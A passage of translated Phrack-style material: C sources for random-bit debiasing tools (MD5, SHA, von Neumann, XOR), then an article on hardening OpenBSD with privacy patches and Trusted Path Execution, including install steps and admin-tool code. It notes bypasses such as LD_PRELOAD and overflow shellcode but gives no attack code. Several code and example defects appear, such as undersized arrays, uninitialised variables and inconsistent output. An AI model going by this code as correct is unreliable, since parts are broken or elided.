#define S31 4
#define S32 11
#define S33 16
#define S34 23
HH ( a, b, c, d, in[ 5], S31, 4294588738); /* 33 */
HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */
HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */
HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */
HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */
HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */
HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */
HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */
HH ( a, b, c, d, in[13], S31,  681279174); /* 41 */
HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */
HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */
HH ( b, c, d, a, in[ 6], S34,  76029189); /* 44 */
HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */
HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */
HH ( c, d, a, b, in[15], S33,  530742520); /* 47 */
HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */

/* Round 4 */
#define S41 6
#define S42 10
#define S43 15
#define S44 21
II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */
II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */
II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */
II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */
II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */
II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */
II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */
II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */
II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */
II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */
II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */
II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */
II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */
II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */
II ( c, d, a, b, in[ 2], S43,  718787259); /* 63 */
II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */

buf[0] += a;
buf[1] += b;
buf[2] += c;
buf[3] += d;
}

```

## bleach/md5/md5c.h

```

/*
*****
** md5.h -- header file for implementation of MD5          **
** RSA Data Security, Inc. MD5 Message-Digest Algorithm    **
** Created: 2/17/90 RLR                                      **
** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version      **
** Revised (for MD5): RLR 4/27/91                           **
*****
*/

/* typedef a 32-bit type */
typedef unsigned long int UINT4;

/* Data structure for MD5 (Message-Digest) computation */
typedef struct {

```

```

    UINT4 i[2];                /* number of _bits_ handled mod 2^64 */
    UINT4 buf[4];              /* scratch buffer */
    unsigned char in[64];      /* input buffer */
    unsigned char digest[16];  /* actual digest after MD5Final call */
} MD5_CTX;

void MD5Init ();
void MD5Update ();
void MD5Final ();

```

## bleach/md5\_distill.c

```

#include <stdio.h>
#include "md5/md5.h"

main ()
{
    MD5_CTX md5Info;
    unsigned char c[16];

    while (fread(c, 1, 16, stdin) == 16)
    {
        MD5Init(&md5Info);
        MD5Update(&md5Info, c, 16);
        MD5Final(&md5Info);
        fwrite(md5Info.digest, 1, 16, stdout);
    }
}

```

## bleach/sha/shs.c

```

/* ----- SHS.C ----- */

/*
 * NIST proposed Secure Hash Standard.
 *
 * Written 2 September 1992, Peter C. Gutmann.
 * This implementation placed in the public domain.
 *
 * Comments to pgut1@cs.aukuni.ac.nz
 */

#include <string.h>
#include "shs.h"

/* The SHS f()-functions */

#define f1(x,y,z)    (( x & y ) | ( ~x & z ) )      /* Rounds 0-19 */
#define f2(x,y,z)    ( x ^ y ^ z )                 /* Rounds 20-39 */
#define f3(x,y,z)    (( x & y ) | ( x & z ) | ( y & z ) ) /* Rounds 40-59 */
#define f4(x,y,z)    ( x ^ y ^ z )                 /* Rounds 60-79 */

#define K1 0x5A827999L    /* Rounds 0-19 */
#define K2 0x6ED9EBA1L    /* Rounds 20-39 */
#define K3 0x8F1BBCDCL    /* Rounds 40-59 */
#define K4 0xCA62C1D6L    /* Rounds 60-79 */

#define h0init 0x67452301L
#define h1init 0xEFCDAB89L
#define h2init 0x98BADCFEL
#define h3init 0x10325476L
#define h4init 0xC3D2E1F0L

#define S(n,X) ((X << n) | (X >> (32 - n)))

#define expand(count) W[count] = W[count-3] ^ W[count-8] ^ W[count-14] ^ W[count-16]

```



```

#define subRound1(count)    \
{ \
    temp = S (5, A) + f1 (B, C, D) + E + W [count] + K1; \
    E = D; D = C; C = S (30, B); B = A; A = temp; \
}

#define subRound2(count)    \
{ \
    temp = S (5, A) + f2 (B, C, D) + E + W [count] + K2; \
    E = D; D = C; C = S (30, B); B = A; A = temp; \
}

#define subRound3(count)    \
{ \
    temp = S (5, A) + f3 (B, C, D) + E + W [count] + K3; \
    E = D; D = C; C = S (30, B); B = A; A = temp; \
}

#define subRound4(count)    \
{ \
    temp = S (5, A) + f4 (B, C, D) + E + W [count] + K4; \
    E = D; D = C; C = S (30, B); B = A; A = temp; \
}

LONG h0, h1, h2, h3, h4;
LONG A, B, C, D, E;

local void byteReverse OF((LONG *buffer, int byteCount));
void shsTransform OF((SHS_INFO *shsInfo));

void shsInit (shsInfo)
    SHS_INFO *shsInfo;
{
    shsInfo->digest [0] = h0init;
    shsInfo->digest [1] = h1init;
    shsInfo->digest [2] = h2init;
    shsInfo->digest [3] = h3init;
    shsInfo->digest [4] = h4init;
    shsInfo->countLo = shsInfo->countHi = 0L;
}

void shsTransform (shsInfo)
    SHS_INFO *shsInfo;
{
    LONG W [80], temp;
    int i;

    for (i = 0; i < 16; i++)
        W [i] = shsInfo->data [i];

    expand (16); expand (17); expand (18); expand (19); expand (20);
    /* ... (expand 21-79) ... */

    A = shsInfo->digest [0];
    B = shsInfo->digest [1];
    C = shsInfo->digest [2];
    D = shsInfo->digest [3];
    E = shsInfo->digest [4];

    subRound1 (0); subRound1 (1); /* ... subRound1 0-19 ... */
    subRound2 (20); /* ... subRound2 20-39 ... */
    subRound3 (40); /* ... subRound3 40-59 ... */
    subRound4 (60); /* ... subRound4 60-79 ... */

    shsInfo->digest [0] += A;
    shsInfo->digest [1] += B;
    shsInfo->digest [2] += C;
    shsInfo->digest [3] += D;
    shsInfo->digest [4] += E;
}
local void byteReverse (buffer, byteCount)

```

```

    LONG *buffer;
    int byteCount;
{
    LONG value;
    int count;

    if ((* (unsigned short *) ("@P") >> 8) == '@')
        return;

    byteCount /= sizeof (LONG);
    for (count = 0; count < byteCount; count++) {
        value = (buffer [count] << 16) | (buffer [count] >> 16);
        buffer [count] = ((value & 0xFF00FF00L) >> 8) | ((value & 0x00FF00FFL) << 8);
    }
}

void shsUpdate (shsInfo, buffer, count)
    SHS_INFO *shsInfo;
    BYTE *buffer;
    int count;
{
    if ((shsInfo->countLo + ((LONG) count << 3)) < shsInfo->countLo)
        shsInfo->countHi++;
    shsInfo->countLo += ((LONG) count << 3);
    shsInfo->countHi += ((LONG) count >> 29);

    while (count >= SHS_BLOCKSIZE) {
        memcpy (shsInfo->data, buffer, SHS_BLOCKSIZE);
        byteReverse (shsInfo->data, SHS_BLOCKSIZE);
        shsTransform (shsInfo);
        buffer += SHS_BLOCKSIZE;
        count -= SHS_BLOCKSIZE;
    }
    memcpy (shsInfo->data, buffer, count);
}

void shsFinal (shsInfo)
    SHS_INFO *shsInfo;
{
    int count;
    LONG lowBitcount = shsInfo->countLo, highBitcount = shsInfo->countHi;

    count = (int) ((shsInfo->countLo >> 3) & 0x3F);
    ((BYTE *) shsInfo->data) [count++] = 0x80;

    if (count > 56) {
        memset ((BYTE *) shsInfo->data + count, 0, 64 - count);
        byteReverse (shsInfo->data, SHS_BLOCKSIZE);
        shsTransform (shsInfo);
        memset (shsInfo->data, 0, 56);
    } else
        memset ((BYTE *) shsInfo->data + count, 0, 56 - count);
    byteReverse (shsInfo->data, SHS_BLOCKSIZE);

    shsInfo->data [14] = highBitcount;
    shsInfo->data [15] = lowBitcount;

    shsTransform (shsInfo);
    byteReverse (shsInfo->data, SHS_DIGESTSIZE);
}

```

## bleach/sha/shs.h

```

/* ----- SHS.H ----- */

#ifndef SHS_H
#define SHS_H

typedef unsigned char BYTE;

```

```

typedef unsigned long LONG;

#define SHS_BLOCKSIZE 64
#define SHS_DIGESTSIZE 20

typedef struct {
    LONG digest [5];          /* Message digest */
    LONG countLo, countHi;    /* 64-bit bit count */
    LONG data [16];          /* SHS data buffer */
} SHS_INFO;

#if (defined(NOPROTO) && defined(PROTO))
#   undef PROTO
#endif

#ifdef PROTO
#   define OF(a) a
#else
#   define OF(a) ()
#endif

#define local static

void shsInit OF((SHS_INFO *shsInfo));
void shsUpdate OF((SHS_INFO *shsInfo, BYTE *buffer, int count));
void shsFinal OF((SHS_INFO *shsInfo));

#endif

```

## bleach/sha\_distill.c

```

#include <stdio.h>
#include "sha/shs.h"

main ()
{
    SHS_INFO shsInfo;
    unsigned char c[20];

    while (fread(c, 1,20,stdin) == 20)
    {
        shsInit(&shsInfo);
        shsUpdate(&shsInfo,c,20);
        shsFinal(&shsInfo);
        fwrite(&shsInfo,1,20,stdout);
    }
}

```

## bleach/transmap.c

```

/*
    Реализация схемы переходного отображения фон Неймана для
    устранения смещения в последовательности случайных битов.
    Подробнее — в разделе 5.2.2 RFC1750.
*/

#include <stdio.h>
char reconstruct_byte(char *byte_ary);
main ()
{
    char c, b1, b2, i, j;
    char byte[7];
    j=0;
    while ( !feof(stdin) )
    {
        fread(&c, 1,1,stdin);

```

```

for (i=7; i>=0; i-=2)
{
    b1=((c>>i)&1); /* целочисленное представление бита i */
    b2=((c>>(i-1))&1);
    if ( (b1==1) && (b2==0) ) /* трансляция 10 */
    {
        byte[j]=1;
        j++;
    }
    if ( (b1==0) && (b2==1) ) /* трансляция 01 */
    {
        byte[j]=0;
        j++;
    }
}
if (j>7)
{
    putchar(reconstruct_byte(byte), stdout);
    j=0;
}
}

char reconstruct_byte(char *byte_ary)
{
    char i;
    char r = 0;
    for (i=0; i<=7; i++)
    {
        r<<=1;
        r|=byte_ary[i];
    }
    return r;
}

```

## bleach/xor\_distill.c

```

/* Извлекает энтропию из потока искажённых случайных битов методом XOR:
   все биты байта подвергаются XOR друг с другом, давая 1 выходной бит
   на входной байт. Из 8 таких битов собирается выходной байт.
*/
#include <stdio.h>
char reconstruct_byte(char *byte_ary);
char xor_bits(char c);
main ()
{
    char byte[7];
    char c[7];
    char i;
    while (fread(c,1,8,stdin) == 8)
    {
        for (i=0; i<=7; i++)
            byte[i]=xor_bits(c[i]);
        putchar(reconstruct_byte(byte), stdout);
    }
}

char xor_bits(char c)
{
    char i, f;
    f=(c>>i)&1;
    for (i=6; i>=0; i--)
        f^=(c>>i)&1;
    return f;
}

char reconstruct_byte(char *byte_ary)
{
    char i;
    char r = 0;
    for (i=0; i<=7; i++)
    {

```

```
        r<<=1;
        r|=byte_ary[i];
    }
    return r;
}

---
```

## Постскриптум: эмпирические результаты

*Файл `bleach/random.ps.gz.uue` содержит UUE-закодированный сжатый PostScript-документ с графическим представлением результатов тестирования. Файл опущен как бинарный архив.*

# Подход «и ремень, и подтяжки» (сентябрь 1998)

Автор: route|daemon9

---

## Введение и предпосылки

Команда проекта OpenBSD. Поставщики БЕСПЛАТНОЙ многоплатформенной UNIX-подобной операционной системы на основе 4.4BSD. Их усилия сосредоточены на переносимости, стандартизации, корректности, безопасности и криптографии. И OpenBSD действительно уделяет особое внимание двум последним пунктам. OpenBSD — попросту лучший выбор для многопользовательских сред.

Ошибочно полагать, что механизмы безопасности можно адекватно обеспечить на уровнях выше операционной системы. Идеальное защитное приложение не способно компенсировать ущербные или отсутствующие средства безопасности в ядре ОС. Это классический пример строительства замка на болоте: можно возвести крепкую крепость, но это не имеет значения, если она медленно уходит в землю. В данной статье мы дооснащаем ядро OpenBSD дополнительными средствами безопасности.

Эта статья — о закручивании гаек. Это наглядный пример того, как безопасность может (и, пожалуй, неизбежно) создаёт неудобства. Делая жизнь обычных пользователей чуть сложнее, мы надеемся существенно затруднить работу потенциальных злоумышленников. Два эффективных способа добиться этого — ограничение запуска программ через проверку пути и учётных данных, а также ограничения приватности.

Данная статья является продолжением моей статьи P52-06 об усилении защиты ядра Linux. Здесь читатель найдёт несколько патчей, предназначенных для укрепления безопасности многопользовательского сервера OpenBSD. Эти патчи можно разделить на две области: ограничения приватности и ограничения исполнения (подробнее ниже). Патчи, представленные здесь, следует применять совместно с грамотным системным администрированием; если вы не умеете перекомпилировать ядро — дальше можно не читать.

---

## Получение исходных кодов

Вам потребуется машина с OpenBSD 2.4, полными исходными кодами ядра для вашей архитектуры, а также исходные коды следующих программ: w, who, ps, fstat и ld.so. Ниже приведены примерные инструкции по получению необходимых исходников через анонимный CVS.

I. Выберите сервер и задайте соответствующие переменные окружения:

(предполагается использование csh или tcsh)

1. setenv CVSROOT anoncvs@anoncvs3.usa.openbsd.org:/cvs
2. setenv CVS\_RSH /usr/local/bin/ssh
3. cd /usr

II. Получите исходные коды:

1. cvs get src/usr.bin/fstat
2. cvs get src/bin/ps

3. `cvs get src/usr.bin/w`
4. `cvs get src/usr.bin/who`
5. `cvs get src/gnu/usr.bin/ld/`
6. `cvs get src/lib/libc/stdio/`

III. Если вам нужны исходные коды ядра:

(для машин на i386, для других архитектур порядок немного отличается)

1. `cvs get ksrc-i386 ksrc-common`

---

## Патчи приватности

Протестировано на: 2.4-SNAP (актуально на 12.10.98)

Автор: route

Зачем позволять кому угодно просматривать информацию о процессах, им не принадлежащих?

В обычной ситуации, когда процессу требуется информация из общесистемной таблицы процессов, он получает её из интерфейса виртуальной памяти ядра с помощью вызовов производных `kvm_*(3)`. Единственное требование — у процесса должны быть права на чтение из `/dev/kmem` (как правило, файл программы должен иметь бит `sgid kmem`). Я придерживаюсь точки зрения, что если вы не суперпользователь, вам незачем видеть процессы других пользователей на хосте. Патчи приватности направлены именно на это.

---

## Принцип работы патчей приватности

Простая проверка учётных данных. Прежде чем команде разрешат выводить приватную информацию, выполняется проверка UID. Если вы не `root` — вы не увидите информацию о других пользователях. Из-за несколько ленивой реализации опытный хакер может обойти это ограничение. Оставляю это в качестве упражнения для читателя.

---

## Установка патчей приватности

I. Извлеките код из этой статьи:

1. `extract P54-06`
2. `cd PP/`

II. Примените пользовательские патчи:

1. `cp Patch/PP-diff /usr/src`
2. `cd /usr/src`
3. `patch < PP-diff`

III. Затем перейдите в соответствующие каталоги и соберите исполняемые файлы:

1. `cd usr.bin/fstat; make; make install`
2. `cd usr.bin/who; make; make install`
3. `cd usr.bin/w; make; make install`
4. `cd bin/ps; make; make install`

---

## Патчи доверенного пути / исполнения по ACL

Протестировано на: 2.4-SNAP (актуально на 12.10.98)

Автор: route

Зачем допускать произвольные права на выполнение кода?

Прежде чем любой вызов `sys_execve()` разрешается, мы берём `vnode` родительского каталога, в котором находится целевой файл, и получаем его атрибуты с помощью макроса `VOP_GETATTR()`. Затем мы проверяем, является ли путь доверенным (каталог, принадлежащий `root` и не допускающий записи для группы или всех), и если нет — проверяем, является ли пользователь доверенным (присутствует ли он в списке доверия ядра). Если и эта проверка не проходит, файлу запрещается право на исполнение.

Ой! Устанавливая определённые переменные окружения, пользователи всё равно могут предзагружать библиотеки и модули с произвольным кодом. Это недопустимо. Чтобы предотвратить это, мы предоставляем механизм для эффективного игнорирования переменных окружения `LD_PRELOAD` и `LD_LIBRARY_PATH`.

---

## Обзор реализации TPE

Комплекс TPE состоит из 4 компонентов: встроенные в ядро механизмы, системный вызов, пользовательский агент и компонент `ld.so`. Компоненты, резидентные в ядре, обеспечивают проверку пути и учётных данных, а также ведение списка. Системный вызов служит каналом для передачи информации из пользовательского пространства в ядро и обратно. Пользовательский агент — это административная программа TPE для управления списком доверия (и включения/отключения проверки окружения `ld.so`). Компонент `ld.so` отвечает за очистку окружения от недопустимых переменных.

---

## Ядерный интерфейс списка доверия TPE и абстрактные типы данных

Список доверия внутри ядра представляет собой статический массив типа `uid_t`. Решение использовать статический массив для хранения доверенных идентификаторов было принято из соображений удобства и эффективности в рантайме. По умолчанию список содержит элементы. Если по какой-то причине этого окажется недостаточно, размер можно увеличить, изменив символическую константу препроцессора `TPE_ACL_SIZE` (однако сначала стоит задаться вопросом, почему вам нужно больше 80 доверенных пользователей).

Скорость проверки идентификаторов пользователей абсолютно критична, поскольку эта проверка выполняется при каждом вызове `exec`, не исходящем из доверенного пути. Это потенциально серьёзное узкое место. Данное обстоятельство было учтено, и основная часть накладных расходов перенесена на инициализацию и модификацию списка.

Список поддерживается в отсортированном состоянии после всех вставок и удалений посредством сортировки вставками. Сортировка относительно дорогостоящая операция (время работы сортировки вставками порядка  $O(n^2)$ ) и выполняется тогда, когда время отклика не является



критическим — при добавлении и удалении элементов.

Скорость важна при поиске, и, поскольку список упорядочен, можно выполнить бинарный поиск с наихудшим случаем  $O(\lg N)$ . Фактически при размере списка по умолчанию в 80 элементов гарантированно не потребуется более 7 сравнений. Для сравнения: последовательный поиск в упорядоченном списке имеет наихудший случай  $O(N)$  (80 сравнений).

---

## Защита ld.so в TPE

Динамический компоновщик — мощный инструмент, позволяющий писать небольшие программы, загружающие внешний код в рантайме. В глобальном масштабе ld.so позволяет процессам загружать произвольный внешний код для исполнения. Это может быть использовано для обхода наших ограничений исполнения. Пользователь мог бы обойти проверку доверия пути, просто динамически загрузив код посредством перенаправления библиотек или объектного кода. Это противоречит нашим интересам. Чтобы предотвратить это, мы патчим ld.so для удаления переменных окружения LD\_PRELOAD и LD\_LIBRARY\_PATH.

Существует глобальная переменная `int tpe_ld_check`, которая устанавливается, сбрасывается и проверяется через системный вызов. При установленном значении ld.so проверяет окружение любого процесса с UID, отличным от 0, и вызывает `unsetenv`, если существуют LD\_PRELOAD и/или LD\_LIBRARY\_PATH. Переменные по-прежнему присутствуют в окружении пользователя, но игнорируются в процессе динамической компоновки.

---

## Что TPE делает

Исполнение с доверенного пути предотвращает запуск произвольными пользователями произвольного кода. Это означает, что злоумышленники не могут выполнять эксплойты с целью получить root на вашей машине. Это также означает, что они не могут использовать вашу машину как плацдарм для атак на другие системы. Это предоставляет администратору дополнительный уровень уверенности в безопасности системы.

---

## Что TPE не делает

TPE опирается на аудит вызовов семейства функций `exec(2)`. Он гарантирует, что файл программы с исполняемым кодом находится в доверенном каталоге или запускается доверенным пользователем. Программы, находящиеся в доверенном каталоге, которые интерпретируют символьный код и компонируют/компилируют в рантайме (и вызывают `exec` с доверенного пути), могут обойти наш мандат безопасности TPE и должны проверяться иначе. Это такие программы, как perl, любые оболочки, sed, awk и т.д. Хотя злоумышленник не может просто написать скрипт в своём домашнем каталоге (ему будет отказано в правах на исполнение, поскольку он находится в недоверенном каталоге), он может передать код через командную строку или перенаправить его из файла.

Существуют различные подходы к решению этой проблемы, ни один из которых не является особенно элегантным. Изменение прав доступа к файлам и их владельца с целью разрешить

доступ только членам определённой группы — простая мера и очевидный выбор, но она не сработает для командных интерпретаторов. Перемещение всех таких программ в специальный недоверенный каталог тоже сработает (обычные пользователи не смогут их запускать, а доверенные — смогут), но опять же, это не применимо к командным оболочкам.

Чтобы предотвратить возможность оболочек исполнять произвольный код, единственным реальным решением, по всей видимости, является их патчинг. Таким образом можно блокировать нежелательные действия, сохраняя при этом нужную функциональность.

Ещё одна проблемная область — переполнение буфера в командной строке. Если доверенная программа содержит переполнение буфера, эксплуатируемое из командной строки, злоумышленник может обойти TPE и добиться выполнения произвольного кода. Шеллкод переполнения передаётся как обычный аргумент командной строки и с точки зрения TPE не является незаконным. Одним из возможных решений является аудит или санация аргументов командной строки перед предоставлением прав на исполнение.

Другой важный момент, касающийся TPE, состоит в том, что в целом он не защищает машину от удалённых атак. Демоны, работающие от root или от доверенного UID (что обычно и бывает — иначе как бы они вообще запустились?), будут наделены правами на исполнение. Если в их коде содержатся удалённо эксплуатируемые переполнения буфера, TPE не сможет предотвратить выполнение произвольного кода.

---

## tpe\_adm

Пользовательский агент предельно прост в использовании. Для отображения списка доверия ядра:

```
resentment:~# tpe_adm -s
trusted users: root diablerie
```

Для добавления пользователя в список:

```
resentment:~# tpe_adm -a devilish
UID 1000 added to trust list
resentment:~# tpe_adm -s
trusted users: root diablerie devilish
```

Для удаления пользователя из списка:

```
resentment:~# tpe_adm -d diablerie
UID 1000 removed from trust list
resentment:~# tpe_adm -s
trusted users: root diablerie
```

Для включения/отключения проверки окружения ld.so:

```
resentment:~# tpe_adm -le
ld.so environment protection enabled
resentment:~# tpe_adm -ls
ld.so environment protection is currently on
resentment:~# tpe_adm -ld
ld.so environment protection disabled
resentment:~# tpe_adm -ls
ld.so environment protection is currently off
```

---

## Установка TPE

I. Извлеките код из этой статьи:

1. extract P54-06
2. cd TPE/

II. Примените патчи ядра:

1. cp Core/Patch/TPE-diff /usr/src/sys
2. cd /usr/src/sys/
3. patch < TPE-diff
4. обратите внимание на ошибки; надеемся, они несущественны.

III. Примените патч ld.so:

1. cp Core/Patch/ld.so-diff /usr/src/
2. cd /usr/src/
3. patch < ld.so-diff

IV. Скопируйте основные файлы tpe:

1. cp Core/kern/kern\_tpe.c /usr/src/sys/kern
2. cp Core/kern/kern\_tpe\_sys.c /usr/src/sys/kern
3. cp Core/sys/kern\_tpe.h /usr/src/sys/sys

V. Пересоберите таблицу системных вызовов:

1. cd /usr/src/sys/kern
2. make

VI. Скопируйте заголовочные файлы системных вызовов:

1. cp /usr/src/sys/sys/syscall.h /usr/include/sys
2. cp /usr/src/sys/sys/syscallargs.h /usr/include/sys

VII. Перенастройте ядро:

(Этот шаг предполагает, что у вас уже есть настроенное ядро с именем YOUR\_KERNEL. Если нет — сначала настройте ядро; см. документацию OpenBSD.)

1. cd /usr/src/sys/arch/YOUR\_ARCH/conf
2. config YOUR\_KERNEL

VIII. Пересоздайте зависимости и пересоберите ядро:

1. cd /usr/src/sys/arch/YOUR\_ARCH/compile/YOUR\_KERNEL
2. make depend ; make clean ; make
3. обратите внимание на ошибки; надеемся, вы сможете их исправить.
3. cp /bsd /bsd.old ; cp bsd /
4. reboot

IX. Соберите новый ld.so:

1. cd /usr/src
2. cp lib/libc/stdio/vfprintf.c /usr/src/gnu/usr.bin/ld/rtld
3. cp lib/libc/stdio/local.h /usr/src/gnu/usr.bin/ld/rtld
4. cp lib/libc/stdio/fvwrite.h /usr/src/gnu/usr.bin/ld/rtld
5. cd /usr/src/gnu/usr.bin/ld/rtld
6. make ; make install

X. Соберите программу администрирования TPE:

1. cd Core/Admin/ ; make
2. make install

XI. Проверьте работу:

1. От root выведите текущий список доверия:  
(В нём должен быть только UID 0.)  
tpe\_admin -s

trusted users: root

2. Выполните следующее от имени недоверенного пользователя (т.е. UID=1000):

```
cat > foo.c << EOF ; gcc foo.c
int main(int argc, char **argv){ printf("Hello world\n"); }
EOF
```

./a.out

Должна появиться ошибка EPERM.

3. Теперь добавьте пользователя в список доверия:

```
tpe_adm -a UID
```

4. Снова выведите список:

(Вы должны увидеть пользователя в списке.)

```
tpe_adm -s
```

5. Попробуйте выполнить команду снова от имени пользователя:

./a.out

Hello world

6. Добавляйте в список только необходимые UID.

7. ПРИМЕЧАНИЕ ПОЛЬЗОВАТЕЛЯМ QMAIL:

Возможно, вам потребуется явно добавить UID qmail в список доверия.  
Сделайте это в стартовом rc-скрипте, который запускается до старта демонов qmail.

8. От root убедитесь, что защита окружения ld.so включена:

```
tpe_adm -le
```

ld.so environment protection enabled

9. От имени непривилегированного пользователя:

```
setenv LD_PRELOAD test.o
```

```
ls -l
```

Your environment contains illegal variables which are being  
stripped out for the execution of this program

```
a.out fo.c foo.c
```

10. От root убедитесь, что защита окружения ld.so отключена:

```
tpe_adm -ld
```

ld.so environment protection disabled

11. От имени непривилегированного пользователя:

```
ls
```

/usr/libexec/ld.so: preload: test.o: cannot map object

12. Готово. Похлопайте себя по плечу и купите что-нибудь у Precious Roy.

---

## Код

```
# <+> TPE/Core/Admin/Makefile
# $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
# Trusted path ACL implementation for OpenBSD 2.4
# Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
# All rights reserved.
#
# Originally published in Phrack Magazine (https://phrack.org).
```

```

tpe_adm:
□$(CC) tpe_adm.c -o tpe_adm

install: tpe_adm
□install -m 711 -o 0 tpe_adm /usr/local/sbin

clean:
□rm -rf core a.out tpe_adm

# EOF

/* <+> TPE/Core/Admin/tpe_adm.c */
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL userland administrative agent for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (https://phrack.org).
 *
 * Thanks to nirva for helping me choose an ADT.
 * See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pwd.h>
#include "../sys/kern_tpe.h"

void usage();

int
main(int argc, char **argv)
{
    uid_t list[TPE_ACL_SIZE];
    int c, i, mode;
    uid_t candidate;
    struct passwd *pwd;

    if (geteuid() && getuid())
    {
        fprintf(stderr, "root access required\n");
        exit(1);
    }

    if (argc == 1 || argc > 3)

```

```

{
    usage();
    exit(EXIT_SUCCESS);
}

while ((c = getopt(argc, argv, "a:d:l:s")) != EOF)
{
    switch (c)
    {
        case 'a':
            if (isalpha(optarg[0]))
            {
                pwd = getpwnam(optarg);
                if (!pwd)
                {
                    fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                candidate = pwd->pw_uid;
            }
            else if (!(candidate = (uid_t)atol(optarg)))
            {
                fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                exit(EXIT_FAILURE);
            }
            if (syscall(SYS_tpe_adm, TPE_ADD, candidate, NULL) == -1)
            {
                printf("Full trust list\n");
                exit(EXIT_FAILURE);
            }
            printf("UID %d added to trust list\n", candidate);
            break;
        case 'd':
            if (isalpha(optarg[0]))
            {
                pwd = getpwnam(optarg);
                if (!pwd)
                {
                    fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                candidate = pwd->pw_uid;
            }
            else if (!(candidate = (uid_t)atol(optarg)))
            {
                fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                exit(EXIT_FAILURE);
            }
            if (syscall(SYS_tpe_adm, TPE_REMOVE, candidate, NULL) == -1)
            {
                printf("UID %d not found on trust list\n", candidate);
                exit(EXIT_FAILURE);
            }
            printf("UID %d removed from trust list\n", candidate);
            break;
        case 'l':
            if (optarg[0] == 'e')
            {
                if (syscall(SYS_tpe_adm, TPE_LDCHECK_E, -1, NULL) == -1)
                {
                    printf("Unknown internal error\n"); /* should NOT fail */
                    exit(EXIT_FAILURE);
                }
                printf("ld.so environment protection enabled\n");
            }
            else if (optarg[0] == 'd')
            {
                if (syscall(SYS_tpe_adm, TPE_LDCHECK_D, -1, NULL) == -1)
                {
                    printf("Unknown internal error\n"); /* should NOT fail */
                    exit(EXIT_FAILURE);
                }
            }
    }
}

```

```

        }
        printf("ld.so environment protection disabled\n");
    }
    else if (optarg[0] == 's')
    {
        if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
        {
            printf("Unknown internal error\n"); /* should NOT fail */
            exit(EXIT_FAILURE);
        }
        printf("ld.so environment protection is currently %s\n",
            list[0] ? "on" : "off");
    }
    else
    {
        fprintf(stderr, "Huh?\n");
        exit(EXIT_FAILURE);
    }
    break;
case 's':
    /*
     * It is Very Important that `list` is an array of size
     * TPE_ACL_SIZE. The kernel expects this. Failure to do
     * so can result in a panic. However, only root can issue
     * the tpe_adm system call.
     */
    if (syscall(SYS_tpe_adm, TPE_SHOW, -1, list) == -1)
    {
        /*
         * Should NOT fail.
         */
        printf("Hideous internal error\n");
        exit(EXIT_FAILURE);
    }
    printf("trusted users: ");
    for (i = 0; list[i] != TPE_INITIALIZER; i++)
    {
        pwd = getpwuid(list[i]);
        if (pwd)
        {
            printf("%s ", pwd->pw_name);
        }
        else
        {
            printf("%d ", (int)list[i]);
        }
    }
    printf("\n");
    break;
default:
    usage();
    exit(EXIT_SUCCESS);
}
}
return (0);
}

void
usage()
{
